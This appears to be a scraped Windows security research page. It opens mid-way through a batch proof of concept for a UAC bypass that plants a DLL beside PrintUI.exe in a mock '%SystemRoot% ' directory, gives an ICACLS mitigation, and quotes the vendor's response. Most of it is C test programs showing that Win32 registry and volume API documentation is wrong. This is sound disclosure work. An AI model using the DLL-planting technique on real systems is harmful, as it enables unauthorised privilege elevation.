COPY System32\ShUnimpl.dll "%SystemRoot% \PrintUI.dll"
START "OUCH!" /WAIT "%SystemRoot% \PrintUI.exe"
System32\CertUtil.exe /ERROR %ERRORLEVEL%
TITLE Step 13: clean up and exit
RMDIR /Q /S "%SystemRoot% \"
EXIT /BThe KTMUTIL utility requires that you have administrative privileges.
        1 file(s) copied.
        1 file(s) copied.
        1 file(s) copied.
        1 file(s) copied.
        1 file(s) copied.
        1 file(s) copied.
0xc0000139 (NT: 0xc0000139 STATUS_ENTRYPOINT_NOT_FOUND) -- 3221225785 (-1073741511)
Error message text: {Entry Point Not Found}
The procedure entry point %hs could not be located in the dynamic link library %hs.
CertUtil: -error command completed successfully.
        1 file(s) copied.
0x45a (WIN32: 1114 ERROR_DLL_INIT_FAILED) -- 1114 (1114)
Error message text: A dynamic link library (DLL) initialization routine failed.
CertUtil: -error command completed successfully.
        REM Copyright © 2014-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
FOR %? IN ("%SystemRoot% "
           "%SystemRoot% ."
           "%SystemRoot% . "   "%SystemRoot%. "
           "%SystemRoot% .  "  "%SystemRoot%.  "
           "%SystemRoot% .   " "%SystemRoot%.   ") DO (
MKDIR "%~?\" && (
COPY "%SystemRoot%\System32\PrintUI.exe" "%~?\PrintUI.exe" && (
START "OUCH!" /WAIT "%~?\PrintUI.exe"
"%SystemRoot%\System32\CertUtil.exe" /ERROR !ERRORLEVEL!
COPY "%SystemRoot%\System32\ShUnimpl.dll" "%~?\PrintUI.dll" && (
START "OUCH!" /WAIT "%~?\PrintUI.exe"
"%SystemRoot%\System32\CertUtil.exe" /ERROR !ERRORLEVEL!))
RMDIR /Q /S "%~?\"))
        system drivefor unprivileged users, i.e. members of the
NT AUTHORITY\Authenticated Users or
            the BUILTIN\Users group:
        ICACLs.exe "%SystemDrive%\\" /DENY *S-1-5-32-545:(AD,WD) /Q /REMOVE:D *S-1-5-32-545 /REMOVE:G *S-1-5-11Note: the paired backslashes are required due to their special treatment in front of a quotation mark.
Successfully processed 1 files; Failed processing 0 files
They replied with the following statements:
Thank you again for your patience during our investigation. The team was performing thorough analysis to ensure we didn't overlook any aspects of your report. Our analysts have completed their assessment, and in our investigation, we have determined that this is a UAC bypass, but only for accounts that already have administrator privileges.Ouch¹: the exploit works without administrator privileges![…]
Based on these results, we do not see a UAC bypass occurring unless the user already has administrator privileges. Based on our bug bar found here - https://aka.ms/windowsbugbar - and the defense-in-depth section of our servicing criteria found here - https://aka.ms/windowscriteria - this does not meet our bar for immediate servicing with a security update. We have opened a tracking bug for the development team, and they may address this in a future release of Windows, but we will not be releasing an update as part of our Patch Tuesday security releases.
I will be closing this case, but we appreciate the opportunity to review your research through coordinated disclosure, and you are free to publish your findings.
Ouch²: in default installations of Windows this UAC bypass can be silently exercised by every unprivileged process that runs in the (primary) user account created during Windows Setup, which Jane and Joe Average typically use for their everyday work!
 Ouch³: even if Jane and Joe Average create
            and use a secondary (unprivileged) standard user
            account they might very likely be fooled by the
            blue
            UAC prompt that
            shows Verified Publisher: Microsoft Windows
.
        
 Note:
            UAC (and
            SAFER
            alias
            Software Restriction Policies
            too) is the victim here – the vulnerability results from bugs
            in the Win32 functions
            GetFullPathName(),
            GetLongPathName()
            and
            GetShortPathName()
            coupled with insecure loading of
            DLLs!
        
GetVolumePathName()
            states:
        Retrieves the volume mount point where the specified path is mounted.[…]
[…]BOOL GetVolumePathName( [in] LPCTSTR lpszFileName, [out] LPTSTR lpszVolumePathName, [in] DWORD cchBufferLength );
[in] lpszFileNameA pointer to the input path string. Both absolute and relative file and directory names, for example, "..", are acceptable in this path.
If you specify a relative directory or file name without a volume qualifier, GetVolumePathName returns the drive letter of the boot volume.
If this parameter is an empty string, "", the function fails but the last error is set to ERROR_SUCCESS.
[…]
If the function fails, the return value is zero. To get extended error information, call GetLastError.
 Create the text file blunder.c with the following
            content in an arbitrary, preferable empty directory:
        
// Copyleft © 2004-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define STRICT
#define UNICODE
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
__declspec(noreturn)
VOID	CDECL	wmainCRTStartup(VOID)
{
	DWORD	dwError = ERROR_SUCCESS;
	WCHAR	szBlunder[MAX_PATH];
#ifndef BLUNDER
	if (!GetVolumePathName(L"", szBlunder, sizeof(szBlunder) / sizeof(*szBlunder)))
#else
	if (!GetVolumePathName(L"", (LPWSTR) NULL, 0UL))
#endif
		dwError = GetLastError();
	ExitProcess(dwError);
} Compile and link the source file blunder.c created in
            step 1. a first time:
        
SET CL=/GF /W4 /Zl SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE CL.EXE blunder.c kernel32.libNote: the command lines can be copied and pasted as block into a Command Processor window.
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj kernel32.lib
 Execute the console application blunder.exe built in
            step 2. and evaluate its exit code:
        
.\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
0x7b (WIN32: 123 ERROR_INVALID_NAME) -- 123 (123) Error message text: The filename, directory name, or volume label syntax is incorrect. CertUtil: -error command completed successfully.OUCH¹: contrary to the highlighted statement of its documentation cited above, the Win32 function
GetVolumePathName()
            sets the last error code to 123
            ERROR_INVALID_NAME
            instead of 0 alias
            ERROR_SUCCESS!
         Compile and link the source file blunder.c created in
            step 1. a second time, now with the preprocessor macro
            BLUNDER defined:
        
CL.EXE /DBLUNDER blunder.c kernel32.lib
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj kernel32.lib
 Execute the console application blunder.exe built in
            step 4. and evaluate its exit code:
        
.\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
0x57 (WIN32: 87 ERROR_INVALID_PARAMETER) -- 87 (87) Error message text: The parameter is incorrect. CertUtil: -error command completed successfully.OUCH²: contrary to the highlighted statement of its documentation cited above, the Win32 function
GetVolumePathName()
            sets the last error code to 87
            ERROR_INVALID_PARAMETER
            instead of 0 alias
            ERROR_SUCCESS!
        RegEnumKeyEx()
            states:
        Enumerates the subkeys of the specified open registry key. The function retrieves information about one subkey each time it is called.OUCH⁰: the data type[…]LSTATUS RegEnumKeyEx( [in] HKEY hKey, [in] DWORD dwIndex, [out] LPTSTR lpName, [in, out] LPDWORD lpcchName, LPDWORD lpReserved, [in, out] LPTSTR lpClass, [in, out, optional] LPDWORD lpcchClass, [out, optional] PFILETIME lpftLastWriteTime );For more information, see Registry Element Size Limits.
[…]
To determine the required buffer size, use the
RegQueryInfoKey()function to determine the size of the largest subkey for the key identified by the hKey parameter.[…]
[in, out] lpClassA pointer to a buffer that receives the user-defined class of the enumerated subkey. This parameter can be NULL.
[in, out, optional] lpcchClassA pointer to a variable that specifies the size of the buffer specified by the lpClass parameter, in characters. The size should include the terminating null character. If the function succeeds, lpcchClass contains the number of characters stored in the buffer, not including the terminating null character. This parameter can be NULL only if lpClass is NULL.
[…]
If the function succeeds, the return value is ERROR_SUCCESS.
If the function fails, the return value is a system error code. If there are no more subkeys available, the function returns ERROR_NO_MORE_ITEMS.
If the lpName buffer is too small to receive the name of the key, the function returns ERROR_MORE_DATA.
LSTATUS is
            not documented in the
            MSDN article
            Windows Data Types
            – the header file winerror.h defines the
            system error codes
            as values of type LONG!
         The documentation for the Win32 function
            RegQueryInfoKey()
            states:
        
Retrieves information about the specified registry key.The MSDN article Registry Element Size Limits states:[…]LSTATUS RegQueryInfoKey( [in] HKEY hKey, [out, optional] LPTSTR lpClass, [in, out, optional] LPDWORD lpcchClass, LPDWORD lpReserved, [out, optional] LPDWORD lpcSubKeys, [out, optional] LPDWORD lpcbMaxSubKeyLen, [out, optional] LPDWORD lpcbMaxClassLen, [out, optional] LPDWORD lpcValues, [out, optional] LPDWORD lpcbMaxValueNameLen, [out, optional] LPDWORD lpcbMaxValueLen, [out, optional] LPDWORD lpcbSecurityDescriptor, [out, optional] PFILETIME lpftLastWriteTime );
[out, optional] lpClassA pointer to a buffer that receives the user-defined class of the key. This parameter can be NULL.
[in, out, optional] lpcchClassA pointer to a variable that specifies the size of the buffer pointed to by the lpClass parameter, in characters.
The size should include the terminating null character. When the function returns, this variable contains the size of the class string that is stored in the buffer. The count returned does not include the terminating null character. If the buffer is not big enough, the function returns ERROR_MORE_DATA, and the variable contains the size of the string, in characters, without counting the terminating null character.
If lpClass is NULL, lpcClass can be NULL.
If the lpClass parameter is a valid address, but the lpcClass parameter is not, for example, it is NULL, then the function returns ERROR_INVALID_PARAMETER.
[…]
If the function succeeds, the return value is ERROR_SUCCESS.
If the function fails, the return value is a system error code.
If the lpClass buffer is too small to receive the name of the class, the function returns ERROR_MORE_DATA.
The following table identifies the size limits for the various registry elements.OUCH¹: the size limit for each single key name is but 256 characters – the size limit for the absolute path of a registry key is 257 × 512 − 1 = 131,583 characters!For an explanation of standard and latest formats, see Registry Files.
Registry element Size limit Key name 255 characters. The key name includes the absolute path of the key in the registry, always starting at a base key, for example, HKEY_LOCAL_MACHINE. Value name 16,383 characters. Windows 2000: 260 ANSI characters or 16,383 Unicode characters. Value Available memory (latest format) 1 MB (standard format) Tree A registry tree can be 512 levels deep. You can create up to 32 levels at a time through a single registry API call. Long values (more than 2,048 bytes) should be stored in a file, and the location of the file should be stored in the registry. This helps the registry to perform efficiently.
The file location can be the name of a value or the data of a value. Each backslash in the location string must be preceded by another backslash as an escape character. For example, specify "C:\\mydir\\myfile" to store the string "C:\mydir\myfile". A file location can also be the name of a key if it is within the 255-character limit for key names and does not contain backslashes, which are not allowed in key names.
OUCH²: values are limited to 231 − 2 × 4,096 = 2,147,475,456 bytes!
OUCH³: this MSDN article fails to specify the size limit for class names!
 OUCH⁴: the last highlighted statement is
            misleading and wrong – backslashes must not
            be escaped
, neither in file or directory path names nor in
            (absolute or relative) registry paths composed of multiple key names
            separated by single backslashes!
        
 Create the text file blunder.c with the following
            content in an arbitrary, preferable empty directory:
        
// Copyleft © 2004-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define STRICT
#define UNICODE
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
__declspec(noreturn)
VOID	CDECL	wmainCRTStartup(VOID)
{
#ifndef BLUNDER
	WCHAR	szClass[32768];
#elif BLUNDER == 1
	WCHAR	szClass[32767];
#else
	WCHAR	szClass[32769];
#endif
	WCHAR	szSubKey[256];
	DWORD	dwSubKey = sizeof(szSubKey) / sizeof(*szSubKey);
	DWORD	dwClass = sizeof(szClass) / sizeof(*szClass);
#ifndef blunder
	DWORD	dwError = RegEnumKeyEx(HKEY_CURRENT_USER,
		                       0UL,
		                       szSubKey,
		                       &dwSubKey,
		                       (LPDWORD) NULL,
		                       szClass,
		                       &dwClass,
		                       (LPFILETIME) NULL);
#else
	DWORD	dwError = RegQueryInfoKey(HKEY_CURRENT_USER,
		                          szClass,
		                          &dwClass,
		                          (LPDWORD) NULL,
		                          (LPDWORD) NULL,
		                          (LPDWORD) NULL,
		                          (LPDWORD) NULL,
		                          (LPDWORD) NULL,
		                          (LPDWORD) NULL,
		                          (LPDWORD) NULL,
		                          (LPDWORD) NULL,
		                          (LPFILETIME) NULL);
#endif
	ExitProcess(dwError);
} Compile and link the source file blunder.c created in
            step 1. a first time:
        
SET CL=/GFs69632 /W4 /Zl SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /STACK:1048576,69632 /SUBSYSTEM:CONSOLE CL.EXE blunder.c advapi32.lib kernel32.libNote: the command lines can be copied and pasted as block into a Command Processor window.
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /STACK:1048576,69632 /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj advapi32.lib kernel32.lib
 Execute the console application blunder.exe built in
            step 2. and evaluate its exit code:
        
.\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
0xea (WIN32: 234 ERROR_MORE_DATA) -- 234 (234) Error message text: More data is available. CertUtil: -error command completed successfully.OUCH⁴: the Win32 function
RegEnumKeyEx()
            fails with Win32 error code 234 alias
            ERROR_MORE_DATA
            despite a buffer of 32768 (wide) characters for the class name!
         Compile and link the source file blunder.c created in
            step 1. a second time, now with the preprocessor macro
            BLUNDER defined:
        
CL.EXE /DBLUNDER blunder.c advapi32.lib kernel32.lib
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /STACK:1048576,69632 /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj advapi32.lib kernel32.lib
 Execute the console application blunder.exe built in
            step 4. and evaluate its exit code:
        
.\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
0x0 (WIN32: 0 ERROR_SUCCESS) -- 0 (0) Error message text: The operation completed successfully. CertUtil: -error command completed successfully.
 Compile and link the source file blunder.c created in
            step 1. a third time, now with the preprocessor macro
            BLUNDER defined as 0:
        
CL.EXE /DBLUNDER blunder.c advapi32.lib kernel32.lib
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /STACK:1048576,69632 /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj advapi32.lib kernel32.lib
 Execute the console application blunder.exe built in
            step 6. and evaluate its exit code:
        
.\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
0x0 (WIN32: 0 ERROR_SUCCESS) -- 0 (0) Error message text: The operation completed successfully. CertUtil: -error command completed successfully.
 Compile and link the source file blunder.c created in
            step 1. a last time, now with the preprocessor macro
            blunder defined:
        
CL.EXE /Dblunder blunder.c advapi32.lib kernel32.lib
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /STACK:1048576,69632 /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj advapi32.lib kernel32.lib
 Execute the console application blunder.exe built in
            step 8. and evaluate its exit code:
        
.\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
0x7a (WIN32: 122 ERROR_INSUFFICIENT_BUFFER) -- 122 (122) Error message text: The data area passed to a system call is too small. CertUtil: -error command completed successfully.OUCH⁵: the Win32 function
RegQueryInfoKey()
            fails with Win32 error code 122 alias
            ERROR_INSUFFICIENT_BUFFER
            despite a buffer of 32768 (wide) characters for the class name!
         Overwrite the text file blunder.c created in
            step 1. with the following content:
        
// Copyleft © 2004-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define STRICT
#define UNICODE
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#define NO_ACCESS	0UL
__declspec(noreturn)
VOID	CDECL	wmainCRTStartup(VOID)
{
	DWORD	dwError;
	WCHAR	szClass[32768];
	WCHAR	szSubKey[258];
	HKEY	hSubKey;
	wmemset(szSubKey, L'€', 257);
	szSubKey[257] = L'\0';
	wmemset(szClass, L'€', 32767);
	szClass[32767] = L'\0';
	dwError = RegCreateKeyEx(HKEY_CURRENT_USER,
#ifdef BLUNDER
	                         szSubKey,
#else
	                         szSubKey + 1,
#endif
	                         0UL,
#ifdef blunder
	                         szClass,
#else
	                         szClass + 1,
#endif
	                         REG_OPTION_VOLATILE,
	                         DELETE,
	                         (LPSECURITY_ATTRIBUTES) NULL,
	                         &hSubKey,
	                         (LPDWORD) NULL);
	if (dwError == ERROR_SUCCESS)
	{
		RegDeleteKey(hSubKey, L"");
		RegCloseKey(hSubKey);
	}
	ExitProcess(dwError);
} Compile and link the source file blunder.c overwritten
            in step 10. a first time:
        
CL.EXE blunder.c advapi32.lib kernel32.lib
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /STACK:1048576,69632 /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj advapi32.lib kernel32.lib
 Execute the console application blunder.exe built in
            step 11. and evaluate its exit code:
        
.\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
0x0 (WIN32: 0 ERROR_SUCCESS) -- 0 (0) Error message text: The operation completed successfully. CertUtil: -error command completed successfully.OUCH⁶: contrary to the MSDN article cited above the size limit for key names is but greater than 255!
 Compile and link the source file blunder.c overwritten
            in step 10. a second time, now with the preprocessor macro
            BLUNDER defined:
        
CL.EXE /DBLUNDER blunder.c advapi32.lib kernel32.lib
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /STACK:1048576,69632 /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj advapi32.lib kernel32.lib
 Execute the console application blunder.exe built in
            step 13. and evaluate its exit code:
        
.\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
0x57 (WIN32: 87 ERROR_INVALID_PARAMETER) -- 87 (87) Error message text: The parameter is incorrect. CertUtil: -error command completed successfully.Note: the Win32 error code 87 alias
ERROR_INVALID_PARAMETER
            is expected here – it proves that the size limit for key names
            is 256 (wide) characters.
         Compile and link the source file blunder.c overwritten
            in step 10. a third time, now with the preprocessor macro
            blunder defined:
        
CL.EXE /Dblunder blunder.c advapi32.lib kernel32.lib
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /STACK:1048576,69632 /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj advapi32.lib kernel32.lib
 Execute the console application blunder.exe built in
            step 15. and evaluate its exit code:
        
.\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
0xce (WIN32: 206 ERROR_FILENAME_EXCED_RANGE) -- 206 (206) Error message text: The filename or extension is too long. CertUtil: -error command completed successfully.Note: the Win32 error code 206 alias
ERROR_FILENAME_EXCED_RANGE
            is expected here – it proves that the size limit for class
            names is 32766 (wide) characters.
         Compile and link the source file blunder.c overwritten
            in step 10. a last time, now with the preprocessor macros
            BLUNDER and blunder defined:
        
CL.EXE /DBLUNDER /Dblunder blunder.c advapi32.lib kernel32.lib
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /STACK:1048576,69632 /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj advapi32.lib kernel32.lib
 Execute the console application blunder.exe built in
            step 17. and evaluate its exit code:
        
.\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
0xce (WIN32: 206 ERROR_FILENAME_EXCED_RANGE) -- 206 (206) Error message text: The filename or extension is too long. CertUtil: -error command completed successfully.
RegGetKeySecurity()
            states:
        The RegGetKeySecurity function retrieves a copy of the security descriptor protecting the specified open registry key.OUCH⁰: the data type[…]LSTATUS RegGetKeySecurity( [in] HKEY hKey, [in] SECURITY_INFORMATION SecurityInformation, [out, optional] PSECURITY_DESCRIPTOR pSecurityDescriptor, [in, out] LPDWORD lpcbSecurityDescriptor );
[out, optional] pSecurityDescriptorA pointer to a buffer that receives a copy of the requested security descriptor.
[in, out] lpcbSecurityDescriptorA pointer to a variable that specifies the size, in bytes, of the buffer pointed to by the pSecurityDescriptor parameter. When the function returns, the variable contains the number of bytes written to the buffer.
LSTATUS is
            not documented in the
            MSDN article
            Windows Data Types
            – the header file winerror.h defines the
            system error codes
            as values of type LONG!
         Create the text file blunder.c with the following
            content in an arbitrary, preferable empty directory:
        
// Copyleft © 2004-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define STRICT
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
__declspec(noreturn)
VOID	CDECL	mainCRTStartup(VOID)
{
	BYTE	cbSD[65535];
	DWORD	dwSD = sizeof(cbSD);
	DWORD	dwError = RegGetKeySecurity(HKEY_CURRENT_USER,
		                            OWNER_SECURITY_INFORMATION | GROUP_SECURITY_INFORMATION | DACL_SECURITY_INFORMATION | LABEL_SECURITY_INFORMATION,
		                            cbSD,
		                            &dwSD);
	if (dwError == ERROR_SUCCESS)
		dwError = 0UL - dwSD;
	ExitProcess(dwError);
} Compile and link the source file blunder.c created in
            step 1.:
        
SET CL=/Gs69632 /W4 /Zl SET LINK=/ENTRY:mainCRTStartup /NODEFAULTLIB /STACK:1048576,69632 /SUBSYSTEM:CONSOLE CL.EXE blunder.c advapi32.lib kernel32.libNote: the command lines can be copied and pasted as block into a Command Processor window.
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:mainCRTStartup /NODEFAULTLIB /STACK:1048576,69632 /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj advapi32.lib kernel32.lib
 Execute the console application blunder.exe built in
            step 2. and evaluate its exit code:
        
.\blunder.exe ECHO %ERRORLEVEL%
-65535OUCH¹: contrary to the highlighted statement of its documentation cited above, the Win32 function
RegGetKeySecurity()
            fails to set the number of bytes written to its output buffer in its
            lpcbSecurityDescriptor parameter!
        A registry value can store data in one of several formats, such as a string value or an integer value. […]The following registry value types are defined in the
winnt.hheader file:
Value Type … … REG_DWORDA 32-bit number. … … REG_MULTI_SZA sequence of null-terminated strings, terminated by an empty string ( \0). The following is an example:String1\0String2\0String3\0LastString\0\0. The first\0terminates the first string, the second-from-last\0terminates the last string, and the final\0terminates the sequence. Note that the final terminator must be factored into the length of the string.… … REG_QWORDA 64-bit number. … … REG_SZA null-terminated string. It's either a Unicode or an ANSI string, depending on whether you use the Unicode or ANSI functions. […]
When you write a string to the registry, you must specify the length of the string, including the terminating null character (
\0). A common error is to use thestrlenfunction to determine the length of the string, but to forget thatstrlenreturns only the count of characters in the string, not counting the terminating null. So you should calculate the length of the string withstrlen(string) + 1
 Create the text file blunder.c with the following
            content in an arbitrary, preferable empty directory:
        
// Copyleft © 2004-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define STRICT
#define UNICODE
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#define MAX_DEPTH		512UL
#define MAX_KEY_LENGTH		255UL
#define MAX_CLASS_NAME		32766UL
#define MAX_VALUE_NAME		16383UL
#define MAX_VALUE_DATA		1048576UL
__declspec(safebuffers)
BOOL	CDECL	PrintConsole(HANDLE hConsole, [SA_FormatString(Style="printf")] LPCWSTR lpFormat, ...)
{
	WCHAR	szOutput[1025];
	DWORD	dwOutput;
	DWORD	dwConsole;
	va_list	vaInput;
	va_start(vaInput, lpFormat);
	dwOutput = wvsprintf(szOutput, lpFormat, vaInput);
	va_end(vaInput);
	if (dwOutput == 0UL)
		return FALSE;
	if (!WriteConsole(hConsole, szOutput, dwOutput, &dwConsole, NULL))
		return FALSE;
	return dwConsole == dwOutput;
}
WCHAR	szKey[(MAX_KEY_LENGTH + 1UL) * MAX_DEPTH] = L"HKEY_LOCAL_MACHINE";
WCHAR	szClass[MAX_CLASS_NAME + 1UL];
WCHAR	szValue[MAX_VALUE_NAME + 1UL];
BYTE	cbData[MAX_VALUE_DATA];
DWORD	WINAPI	Blunder(HANDLE hConsole, DWORD dwKey)
{
	HKEY	hKey;
	LPCWSTR	lpMulti;
	DWORD	dwSubKey;
	DWORD	dwData;
	DWORD	dwType;
	DWORD	dwValue;
	DWORD	dwClass;
	DWORD	dwIndex;
	DWORD	dwCount;
	DWORD	dwBytes;
	DWORD	dwError = RegOpenKeyEx(HKEY_LOCAL_MACHINE,
		                       szKey + sizeof("HKEY_LOCAL_MACHINE"),
		                       REG_OPTION_OPEN_LINK,
		                       KEY_READ | KEY_WOW64_64KEY,
		                       &hKey);
	if (dwError == ERROR_SUCCESS)
	{
		for (dwIndex = 0UL;; dwIndex++)
		{
		//	*szValue = L'\0';
			dwValue = sizeof(szValue) / sizeof(*szValue);
			dwData = sizeof(cbData);
			dwError = RegEnumValue(hKey,
			                       dwIndex,
			                       szValue,
			                       &dwValue,
			                       (LPDWORD) NULL,
			                       &dwType,
			                       cbData,
			                       &dwData);
			if (dwError != ERROR_SUCCESS)
				break;
			if (dwData == 0UL)
				PrintConsole(hConsole,
				             L"No data for value \'%ls\' in registry key \'%ls\'\n",
				             szValue, szKey);
			else
				switch (dwType)
				{
				case REG_LINK:
					if (dwData % sizeof(L'\0') != 0UL)
						PrintConsole(hConsole,
						             L"Size (%lu bytes) of data for value \'%ls\' in registry key \'%ls\' not a multiple of wide character size!\n",
						             dwData, szValue, szKey);
					break;
				case REG_DWORD_BIG_ENDIAN:
				case REG_DWORD_LITTLE_ENDIAN:
			//	case REG_DWORD:
					if (dwData < sizeof(DWORD))
						PrintConsole(hConsole,
						             L"Size (%lu bytes) of data for value \'%ls\' in registry key \'%ls\' smaller than DWORD size!\n",
						             dwData, szValue, szKey);
					else if (dwData > sizeof(DWORD))
						PrintConsole(hConsole,
						             L"Size (%lu bytes) of data for value \'%ls\' in registry key \'%ls\' greater than DWORD size\n",
						             dwData, szValue, szKey);
					break;
				case REG_QWORD_LITTLE_ENDIAN:
			//	case REG_QWORD:
					if (dwData < sizeof(DWORD64))
						PrintConsole(hConsole,
						             L"Size (%lu bytes) of data for value \'%ls\' in registry key \'%ls\' smaller than QWORD size!\n",
						             dwData, szValue, szKey);
					else if (dwData > sizeof(DWORD64))
						PrintConsole(hConsole,
						             L"Size (%lu bytes) of data for value \'%ls\' in registry key \'%ls\' greater than QWORD size\n",
						             dwData, szValue, szKey);
					break;
				case REG_SZ:
				case REG_EXPAND_SZ:
					dwCount = wcslen((LPCWSTR) cbData);
					dwBytes = (dwCount + 1UL) * sizeof(L'\0');
					if (dwData < dwBytes)
						PrintConsole(hConsole,
						             L"Size (%lu bytes) of data for value \'%ls\' in registry key \'%ls\' smaller than string length (%lu + 1 wide characters = %lu bytes)\n",
						             dwData, szValue, szKey, dwCount, dwBytes);
					else if (dwData > dwBytes)
						PrintConsole(hConsole,
						             L"Size (%lu bytes) of data for value \'%ls\' in registry key \'%ls\' greater than string length (%lu + 1 wide characters = %lu bytes)\n",
						             dwData, szValue, szKey, dwCount, dwBytes);
					break;
				case REG_MULTI_SZ:
					for (lpMulti = (LPCWSTR) cbData; *lpMulti != L'\0'; lpMulti += wcslen(lpMulti) + 1)
						continue;
					dwCount = lpMulti - (LPCWSTR) cbData;
					dwBytes = (dwCount + 1UL) * sizeof(L'\0');
					if (dwData < dwBytes)
						PrintConsole(hConsole,
						             L"Size (%lu bytes) of data for value \'%ls\' in registry key \'%ls\' smaller than sum of string lengths (%lu + 1 wide characters = %lu bytes)\n",
						             dwData, szValue, szKey, dwCount, dwBytes);
					else if (dwData > dwBytes)
						PrintConsole(hConsole,
						             L"Size (%lu bytes) of data for value \'%ls\' in registry key \'%ls\' greater than sum of string lengths (%lu + 1 wide characters = %lu bytes)\n",
						             dwData, szValue, szKey, dwCount, dwBytes);
					break;
			//	case REG_NONE:
			//	case REG_BINARY:
			//	case REG_RESOURCE_LIST:
			//	case REG_FULL_RESOURCE_DESCRIPTOR:
			//	case REG_RESOURCE_REQUIREMENTS_LIST:
				}
		}
		for (dwIndex = 0UL;; dwIndex++)
		{
			dwSubKey = sizeof(szKey) / sizeof(*szKey) - sizeof("HKEY_LOCAL_MACHINE") - dwKey;
			dwClass = sizeof(szClass) / sizeof(*szClass);
			dwError = RegEnumKeyEx(hKey,
			                       dwIndex,
			                       szKey + sizeof("HKEY_LOCAL_MACHINE") + dwKey,
			                       &dwSubKey,
			                       (LPDWORD) NULL,
			                       szClass,
			                       &dwClass,
			                       (LPFILETIME) NULL);
			if (dwError != ERROR_SUCCESS)
				break;
			szKey[sizeof("HKEY_LOCAL_MACHINE") - 1UL + dwKey] = L'\\';
			dwError = Blunder(hConsole, dwKey + 1UL + dwSubKey);
